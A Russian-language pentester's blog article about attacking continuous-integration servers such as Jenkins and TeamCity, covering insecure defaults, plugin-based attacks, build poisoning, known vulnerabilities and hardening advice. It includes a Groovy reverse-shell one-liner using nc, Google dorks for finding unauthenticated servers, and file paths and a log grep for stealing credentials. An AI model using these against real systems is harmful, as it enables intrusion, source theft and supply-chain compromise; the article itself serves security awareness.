Как прервать непрерывную интеграцию

в 6:33, , рубрики: continuous integration, zeronights, Блог компании «Digital Security», информационная безопасность

Я — пентестер, и так получилось, что практически на всех проектах, хотя бы отдаленно связанных с анализом инфраструктуры разработчиков, мне встречаются установленные Jenkins и TeamCity (один раз я даже видел Bamboo). Немного гугла, и я выяснил, что это все — так называемые системы непрерывной интеграции. Конечно, в какой-то момент у меня в голове стали возникать вопросы вроде: «А что это вообще за системы такие?» и «Что с ними можно сделать?», естественно, с точки зрения пентестера. Ответив на поставленные вопросы, мы поймем, какую выгоду потенциальный злоумышленник может извлечь и какой вред нанести в рамках экосистемы разработчика, используя лишь имеюущуюся в ней систему непрерывной интеграции.

Agile — это модно


Как прервать непрерывную интеграцию - 1

Думаю, что большей части читателей Хабра наверняка знакомы такие ключевые слова, как Agile, Scrum или даже Sprint. Если вдруг нет, то кратко и очень приблизительно это все можно охарактеризовать так: постоянный выпуск новых законченных (т.е. обладающих каким-то конечным набором функций) релизов приложения.
Подробнее можно почитать, например, в Википедии.
Не будем останавливаться на этом подробно, т.к. потенциальному злоумышленнику, для проведения успешной атаки, эти знания особенно и не нужны. Однако стоит заметить, что с каждым днем все больше и больше разработчиков (да большинство!) обращается в Agile-веру, и, конечно, сталкивается с необходимостью как-то управлять всеми этими бесконечными промежуточными релизами. И именно для этой цели и используются системы непрерывной интеграции.

Забегая немного вперед, нужно сказать, почему же эти системы могут заинтересовать злоумышленника (или, в нашем случае, конечно, пентестера) и почему стоит беспокоиться об их безопасности.

  • Во-первых, в силу специфики своей работы, они взаимодействуют напрямую с исходными кодами (утечка которых, во многих случаях может означать значительные убытки для компании).
  • Во-вторых — зачастую, для корректной сборки исходных кодов в конечный продукт, пользователи системы создают так называемые сборочные скрипты, которые могут быть реализованы как средствами самой системы непрерывной интеграции, так и с использованием сторонних инструментов (например, скрипты могут загружаться из репозиториев). В простейшем случае, эти скрипты представляют собой batch или bash файлы, т.е. по сути они ограничены только возможностями самой ОС, на которой исполняются. Таким образом, если злоумышленник смог модифицировать сборочный скрипт, он сможет выполнять команды ОС непосредственно на сборочном сервере.

Кроме того, как было сказано выше, системы непрерывной интеграции представляют собой удобный инструмент для управления разработкой, поэтому сейчас их можно встретить во внутренней сети практически каждой копании, так или иначе связанной с с этой сферой. И даже более, зачастую такие системы, для удобства использования, выставляют в открытый доступ в интернет.

Системы непрерывной интеграции

Continuous integration (CI) is the practice, in software engineering, of merging all developer working copies to a shared mainline several times a day. It was first named and proposed by Grady Booch in his 1991 method,[1] although Booch did not advocate integrating several times a day. It was adopted as part of extreme programming (XP), which did advocate integrating more than once per day, perhaps as many as tens of times per day.

© Википедия

В данной статье будем опираться на типовую экосистему разработчика ПО, описание которой представлено ниже. Если вы знаете (а вы наверняка знаете), что это такое, то можете смело пропустить этот раздел и переходить сразу к атакам. Для всех остальных, рассмотрим ее подробнее.
Как прервать непрерывную интеграцию - 2

На рисунке мы видим следующие сущности:

  • IDE
    Разработчик. Пишет код и в какой-то момент коммитит его в репозиторий исходных кодов.
  • Репозиторий
    Хранилище исходного кода и различных метаданных о нем. Отсюда система непрерывной интеграции загружает код в процессе сборки.
  • Система непрерывной интеграции
    Позволяет автоматизировать процессы сборки исходных кодов, публикации собранных приложений, либо информации о выявленных проблемах. Наша основная цель.
  • Стенд (на рисунке выглядит как сервер)
    В данном случае сервер, на который загружается приложение после успешной сборки.
  • Трекер ошибок
    Система контроля и отслеживания ошибок в работе или сборке приложения. Именно сюда система непрерывной интеграции может записать отчет в случае невозможности успешно завершить сборку приложения.

Теперь, когда мы знаем кто есть кто, попробуем описать примерную последовательность действий, выполняемую в процессе сборки приложения.

Как прервать непрерывную интеграцию - 3

Рассмотрим рисунок на примере типичного спринта: разработчик пишет код и загружает(1) его в репозиторий. Далее, по какому-либо событию, в дело вступает система непрерывной интеграции. Она загружает из репозитория необходимые исходные коды(2-3) и запускает процесс их сборки(4). В случае успеха, собранное приложение может быть загружено(5-1) на стенд. В случае неудачи, система может создать(5-2) задачу в багтрекере.

Немного о принципах работы системы


Ниже представлена краткая информация, которая поможет выявить поверхность атаки рассматриваемой системы.

Ролевая модель


Если описывать общую ролевую модель, которая может быть применима ко всем популярным системам непрерывной интеграции, то она будет выглядеть следующим образом:

  • Аноним
    Рядовой пользователь, не обладающий ни знаниями, ни правами в рамках рассматриваемой системы. По сути, типичный случайный посетитель, которого не ждали.
  • Пользователь с доступом на чтение проектов
    На первый взгляд, выглядит таким же бесправным (с точки зрения атакующего), как и предыдущий. Однако, в ряде случаев, даже таких прав может оказаться достаточно для успешной эскалации атаки на всю инфраструктуру разработки (см. первую картинку).
  • Пользователь с доступом на редактирование проектов
    Злоумышленник с такими правами доступа практически 100% скомпрометирует систему непрерывной интеграции .
  • Администратор
    Пользователь с максимальным уровнем прав в системе. Если злоумышленник имеет такие права — это конец.

Коротко о компонентах


Как прервать непрерывную интеграцию - 4
Как видно на картинке, типовая система состоит из ряда компонентов. Ниже мы рассмотрим каждый из них подробнее:

  • Master
    Контролирует работу всей системы. Так, например, мастер отвечает за конфигурирование всех компонентов системы и управление сборками. Кроме того, мастер обладает всеми возможностями slave'а. Исходя из его роли, мастер может взаимодействовать со всеми компонентами системы, а также с внешними элементами, например, репозиториями или стендами.
  • Slave
    Основная задача slave'а— сборка приложений и их временное хранение. slave'ы (а их может быть много) используются для распараллеливания сборки проектов и некоторых других целей, например, разграничения доступа (см. заключение).
  • Пользовательский интерфейс (как правило графический + немного API)
    Собственно, из названия все ясно — позволяет пользователю управлять системой. Как правило, взаимодействует напрямую с мастером, который, в свою очередь, раскидывает задачи slave'ам.
  • Плагины
    Плагины имеет смысл выделить в отдельную категорию, т.к. во многих системах (тех же Jenkins, Bamboo или TeamCity) они играют весьма значительную роль: тут и новые способы аутентификации, различные анализаторы или инструменты создания отчетов. Более того, большое количество плагинов уже предустановлено в систему из коробки. Таким образом, плагины могут значительно расширить возможности злоумышленника, по сути, дополняя существующую поверхность атаки. Кроме того, поскольку плагины зачастую разрабатывают «третьи лица», их исправление может занять гораздо больше времени, по сравнению с исправлениями в основной системе.

Все ваши коды принадлежат им


Теперь, когда у нас появилось понимание самой сущности систем непрерывной интеграции, пришло время узнать, чем именно грозит их компрометация. Для этого рассмотрим несколько типичных и не очень сценариев атак от банального фишинга до заражения собираемых приложений.

Типичные векторы эксплуатации систем непрерывной интеграции


Фишинг


Наиболее очевидный сценарий атаки: немного уязвимостей (а, в случае Jenkins, это может быть и штатная возможность — UserContent) + страничка ввода учетных данных = учетные данные невнимательных пользователей системы и, как следствие, развитие атаки на инфраструктуру вплоть до получения контроля над доменом (в случае, если для аторизации в системе используются доменные учетные данные).

Получение контроля над сервером


В силу специфики работы системы, получение возможности удаленного выполнения кода — вопрос настойчивости.
Ниже рассмотрим несколько способов:

  1. Выполнение команд ОС на сборочном сервере (агенте или мастере) через банальную уязвимость в интерфейсе пользователя (а, как мы помним, всевозможных веб-уязвимостей в этих системах хватает).

    Пример js-нагрузки можно посмотреть тут.
  2. Еще один способ для Jenkins описан здесь.
    Однако «as is» он работает только на конфигурации по умолчанию, когда отключен ролевой доступ и CSRF-токены. Так что для эксплуатации с большой долей вероятности злоумышленнику понадобится какой-либо веб баг.
  3. Более универсальный, но весьма сложный в реализации способ — атака через плагины.

    Сложный потому, что понадобится в том или ином виде реализовать MitM-атаку на канал получения плагинов. Здесь стоит остановиться подробнее. Для доставки плагина в систему непрерывной интеграции существует два основных способа:

    • Загрузка плагина администратором системы
      В этом случае, злоумышленник может, например, каким-либо образом встать в канал между участниками загрузки и подменить передаваемые данные.
    • Загрузка плагина из публичного репозитория плагинов.
      Здесь я позволю себе немного пофантазировать.

      1. Так, злоумышленник может попытаться добавить свой собственный плагин в публичный репозиторий и ждать.
        Такая схема хоть и выглядит мало реальной, вполне может оказаться осуществимой.
      2. Другой вариант — перехват трафика
        По сути, аналогичен первому способу.
      3. Еще один способ доставки плагинов — настройка собственного сервера плагинов.

        Для реализации такого сценария злоумышленнику понадобится собственный сервер плагинов. Для этих целей прекрасно подойдет сервер Juseppe. Конечно, кроме сервера, злоумышленнику нужен еще и плагин. Фрагмент нагрузки для такого плагина можно посмотреть на гитхабе
        В этом плагине был использован простой Groovy-скрипт для получения reverse shell:

                                r=Runtime.getRuntime();p = r.exec(["/bin/bash","-c","mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc host port 1>/tmp/backpipe"] as String[]);p.waitFor()
                                

        А вот и ролик, демонстрирующий работоспособность такой схемы:

Кстати, забавный момент по поводу администрирования и безопасности: на момент тестирования схемы был зарегистрирован баг jenkins-31089, суть которого заключалась в невозможности нормальной настройки сервера обновления плагинов из-за проблем в проверке подписи плагинов. В качестве возможных решений встречались, например, такие:

Another option is to disable the signature check for the update site metadata downloaded by Jenkins, by setting the system property
hudson.model.DownloadService.noSignatureCheck to true, but of course that's a stupid idea in general since it breaks trust in the data you download.

Т.е. предлагают в принципе отключить проверку подписи загружаемых удаленно плагинов, что, конечно, не добавляет безопасности.

В результате эксплуатации этого вектора, злоумышленник получает контроль над сборочным сервером и всеми данными, которые он хранит на своей файловой системе(включая исходные коды приложений). Помимо этого, получив контроль над сервером, злоумышленник может эскалировать атаку дальше на инфраструктуру.

Кража исходных кодов


Данный вектор эксплаутирует интересную особенность многих систем непрерывной интеграции: процесс сборки проекта на файловой системе сборочного сервера (мастера или slave'а) ничем не ограничен, поэтому, выполняя сборочный скрипт, система может читать и писать файлы, находящиеся вне текущей сборочной директории. Таким образом, если у злоумышленника есть возможность модифицировать сборочные скрипты (например, получив доступ к репозиторию), он легко может украсть исходные коды любых других проектов, т.к. перед сборкой все исходные коды складываются во временные директории соответствующих проектов.

Повышение привилегий


Здесь повышение привилегий осуществляется не только и не столько в рамках системы непрерывной интеграции, но в и рамках всей экосистемы разработчика. Пример: Злоумышленник из логов достает ssh ключи от репозитория исходного кода, тем самым повышая свои привилегии уже в контексте репозитория. Само по себе повышение привилегий может быть выполнено совершенно различными способами, некоторые из которых уже описаны выше.

(Не)типичные векторы эксплуатации систем непрерывной интеграции


Здесь собрано несколько векторов атак, использующих основные бизнес-процессы систем непрерывной интеграции.

Заражение приложения вредоносным кодом


Яркий пример атак подобного рода: заражение торрент-клиента Transmission для OS X.
Если вашим продуктом пользуются миллионы людей, последствия вполне можно предсказать.
Для реализации подобного сценария в голову приходят сразу два варианта атаки.
Допустим, у атакующего нет доступа к репозиторию с кодом, который он хочет заразить, зато есть доступ с правами на редактирование (неважно, через уязвимость или каким-то другим способом) к системе непрерывной интеграции. В этом случае, злоумышленнику достаточно модифицировать сборочный скрипт для атакуемого проекта, добавив необходимые действия к списку предусловий, которые должны выполниться перед началом непосредственно сборки атакуемого проекта.

В случае, если у атакующего нет доступа ни к репозиторию, ни к проекту, он может попытаться воздействовать через проект, к которому у него доступ есть, модифицируя исходные коды атакуемого проекта прямо на файловой системе сборочного сервера. В этом случае необходимо, чтобы после сборки сервер не очищал сборочную директорию. Здесь стоит пояснить, что при инициализации очередной сборки, система непрерывной интеграции может и не загружать исходные коды из репозитория, например, если не находит изменений с момента последнй загрузки.

Кража приватных ключей подписи приложений


Украденные ключи могут использоваться для разных целей, например, для подписи собственного вредоносного ПО злоумышленника.


На видео представлен один из способов реализации такой атаки.

Ботнет?


А почему бы не собрать ботнет из систем, торчащих в интернет? Вот и примерчик уязвимого сервера в интернете:
Как прервать непрерывную интеграцию - 5
И таких сейчас много.

Можно поискать самостоятельно, используя гугл дорки:

intitle:"Dashboard [Jenkins]" — все Jenkins интернета
intitle:"Dashboard [Jenkins]" intext:"Manage Jenkins" — все Jenkins без аутентификации
intitle:"Projects - TeamCity" — все TeamCity с гостевым доступом
intitle:"Register a New User Account - TeamCity" — все TeamCity с открытой регистрацией

Рассмотрев вышеописанные сценарии, становится понятно, что система непрерывной интеграции должна быть хорошо защищена.
Если вы думаете, что ваша система защищена из коробки, то это далеко не так. В качестве демонстрации этого утверждения, ниже представлены настройки по умолчанию для нескольких систем непрерывной интеграции.

Jenkins

  • Во-первых, «из коробки» почему-то выключены CSRF-токены.
  • Во-вторых (и это еще круче!), по умолчанию дженкинсу не требуется никакая аутентификация: заходите и делайте, что вам вздумается. К слову, матричная ролевая модель реализуется как раз дополнительным плагином, который входит в базовую поставку.

Еще один пример:

TeamCity

  • По умолчанию, любой желающий может зарегистрироваться в системе. После этого, зачастую, он получит роль Project Manager (что соответствует третьему уровню нашей ролевой модели).
    Допустим, после регистрации пользователю назначается роль Project Viewer — это тоже дает злоумышленнику некоторые преимущества, и через пару предложений я расскажу, какие.
  • В TeamCity по умолчанию разрешен гостевой доступ к системе, который дает злоумышленнику право полистать проекты и посмотреть логи их сборки (по сути, тот же Project Viewer).

Казалось бы, не так уж и серьезно, однако, в силу особенностей запуска сборочных скриптов, в логи может попасть различная интересная информация (например, пароли от ssh или какого-нибудь ftp), и эти данные будут там в открытом виде! Таким образом, гостевой доступ + немного логов = все пароли у нас в кармане. Прямо как dumpster diving!

Кроме того, в большинстве коробочных решений по непрерывной интеграции мастер по умолчанию является и slave'ом.
Это значит, что потенциально недоверенный (кто сказал, что гитхабу можно верить?) код будет исполняться там же, где хранятся конфигурации всей системы, а также исходные коды других проектов (возможно, даже приватных). Т.е, модифицировав кусок сборочного скрипта, который хранится в публичном репозитории, злоумышленник может получить доступ к конфигурации сборочного сервера а также исходным кодам проектов, которые собираются на том же агенте.
А вот к каким конфигурационным данным злоумышленник сможет получить доступ, выполнив свой код на мастере систем Jenkins и TeamCity:

Jenkins

$JENKINS_HOME/ +:

  • ./secrets/* — различная ключевая информация: мастер ключ для шифрования паролей пользователей, сид для генерации токенов и так далее.
  • ./workspace/* — директория содержит данные (включая исходные коды) всех проектов, собиравшихся на текущем агенте.
  • ./userContent/* — по сути корневая директория для встроенного в Jenkins веб сервера.
  • ./config.xml — файл с конфигурацией Jenkins.
  • ./credentials.xml — файл с учетными записями пользователей Jenkins (включая зашифрованные пароли).

TeamCity

  • .BuildServer/config/* — коонфигурация.
  • buildAgent/work/* — рабочая директория с данными обо всех проектах, собираемых на агенте.

$TEAMCITY_HOME/ +

  • webapps/ — корневая директория дистрибутива teamcity.
  • logs/teamcity-server.log | grep Super
    — В логах работы TeamCity можно найти пароль для суперпользователя. Он генерируется случайным образом при каждом старте системы. Суперпользователь обладает максимальными правами.

Резюмируя вышесказанное, можно смело заявлять, что настройки по умолчанию небезопасны от слова совсем. Однако, даже если сконфигурировать систему должным образом, все еще существует огромное количество путей для ее эксплуатации в своих «грязных» целях.

А как насчет уязвимостей?


В системах непрерывной интеграции, как и в любых других больших системах, конечно, есть уязвимости. Наиболее популярной точкой входа для поиска уязвимостей являются различные пользовательские интерфейсы. Так, во всех системах, которые мне встречались, в качестве графического интерфейса используется веб-приложение, для которого характерны различные веб-уязвимости (Привет OWASP).

Начнем с интересной уязвимости в старых версиях TeamCity. Итак, уязвимость позволяла получить доступ к страничке регистрации, даже если возможность регистрации новых пользователей была отключена в конфигурации. В итоге, это позволяет злоумышленнику зарегистрироваться и получить некоторый набор прав (см предыдущий пункт) в системе несмотря на прямой запрет от администратора. Подробнее в этой статье.

Теперь другой пример, уже из Jenkins. Уязвимость позволяла обойти проверку CSRF-токена практически в любой функции веб-приложения Jenkins во всех версиях до 1.641 (LTS — 1.625.3)
А все дело было в классе /core/src/main/java/hudson/security/csrf/CrumbFilter.java, и некорректном условии проверки валидности запроса:

if (valid || isMultipart(httpRequest)) {
  chain.doFilter(request, response);
} else {
  LOGGER.log(Level.WARNING, "No valid crumb was included in request for {0}. Returning {1}.", new Object[] {httpRequest.getRequestURI(),
HttpServletResponse.SC_FORBIDDEN});

Т.е. здесь видно, что проверка считается пройденной успешно, если выставлен флаг valid, или же запрос содержит данные типа
multipart/form-data(Content-Type: multipart/form-data; boundary=---------------------------blahblah)

Используя данную уязвимость + например, штатную возможность исполнения shell скриптов при сборке проекта, злоумышленник может модифицировать произвольный проект, к которому у жертвы есть доступ на редактирование, добавив в качестве этапа сборки выполнение shell скрипта. В результате, мы получаем удаленное выполнение кода на сборочной машине.
Для наглядности, рассмотрим пример: злоумышленник отправляет администратору Jenkins ссылку на страничку, на которой размещен JavaScript код, формирующий POST запрос с Content-Type: multipart/form-data к URL /view/All/job/test1/configure. В итоге, данный запрос обойдет защиту от CSRF, реализованную на Jenkins, что и приведет к модификации проекта нужным образом. Старт сборки проекта реализуется аналогичным образом.

Еще одна (очень!) интересная уязвимость в Jenkins связана с десериализацией java-объектов утилитой Jenkins CLI.
Jenkins CLI — Интерфейс командной строки для взаимодействия с сервером Jenkins. Если коротко, то Jenkins CLI взаимодействует с Jenkins через свой собственный протокол, в рамках которого все данные передаются в сериализованном виде. Подробнее об утилите на jenkins-ci.org. Обнаруженная уязвимость позволяет неавторизованному пользователю выполнить произвольный код в контексте Jenkins, эксплуатация же может быть выполнена через библиотеку Apache Commons. Детальное описание уязвимости можно прочитать на сайте foxglovesecurity.
Аналогичная уязвимость есть и в Bamboo.
И раз уж речь зашла про десериализацию, то недавно был найден еще один баг, на этот раз в либе XStream, которую Jenkins использует для парсинга xstream xml (например тут: /CreateItem). Хорошее описание бага приведено по ссылке.

Выводы

Исходя из вышенаписанного, при настройке систем непрерывной интеграции следует предпринимать дополнительные усилия для обеспечения их должной защиты. И, конечно, не нужно забывать об использовании дополнительных инструментов и технологий для обеспечения более высокого уровня защищенности таких систем внутри вашей инфраструктуры.

И в заключение — Немного рекомендаций

  • Никогда и ни при каких обстоятельствах не использовать настройки по умолчанию.
  • Стараться не запускать систему на всех сетевых интерфейсах.
    При старте всегда указывать конкретный интерфейс (никаких 0.0.0.0) — такие системы не должны «смотреть» в интернет.
  • Не стоит бездумно устанавливать дополнительные плагины и другие инструменты, т.к. зачастую они сами по себе содержат новые уязвимости.
  • Своевременно обновляться.
    Если погулить, то можно увидеть, что системы непрерывной интеграции обновляются постоянно (в том числе выходят исправления критичных уязвимостей), поэтому правильным будет мониторить появление новых Security advisories.
    Полезные ссылки:
    Jenkins, Bamboo.
  • По возможности, постараться максимально изолировать проекты друг от друга, например, используя отдельных slave'ов для каждого проекта. Если не хватает железа, можно попробовать наделать одноразовых slave'ов с помощью контейнеров или использовать существующие плагины.

Автор: Digital Security

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js